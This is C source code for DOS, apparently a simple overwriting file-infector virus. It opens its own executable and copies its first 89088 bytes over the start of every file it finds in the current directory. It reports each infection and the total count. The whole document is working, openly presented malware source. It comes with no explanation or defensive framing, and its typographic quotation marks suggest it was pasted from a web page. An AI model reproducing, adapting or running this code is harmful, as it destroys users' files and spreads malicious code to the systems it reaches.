#include<stdio.h>
  #include<io.h>
  #include<dos.h>
  #include<dir.h>
  #include<conio.h>
  #include<time.h>
  FILE *virus,*host;
  int done,a=0;
  unsigned long x;
  char buff[2048];
  struct ffblk ffblk;
  clock_t st,end;

  void main()
  {
  st=clock();
  clrscr();
  done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
  while(!done)
  {
  virus=fopen(_argv[0],”rb”);
  host=fopen(ffblk.ff_name,”rb+”);
  if(host==NULL) goto next;
  x=89088;
  printf(“Infecting %s\n”,ffblk.ff_name,a);
  while(x>2048)
  {
  fread(buff,2048,1,virus);
  fwrite(buff,2048,1,host);
  x-=2048;
  }
  fread(buff,x,1,virus);
  fwrite(buff,x,1,host);
  a++;
  next:
  {
  fcloseall();
  done=findnext(&ffblk);
  }
  }
  printf(“DONE! (Total Files Infected= %d)”,a);
  end=clock();
  printf(“TIME TAKEN=%f SEC\n”,
  (end-st)/CLK_TCK);
  getch();
  }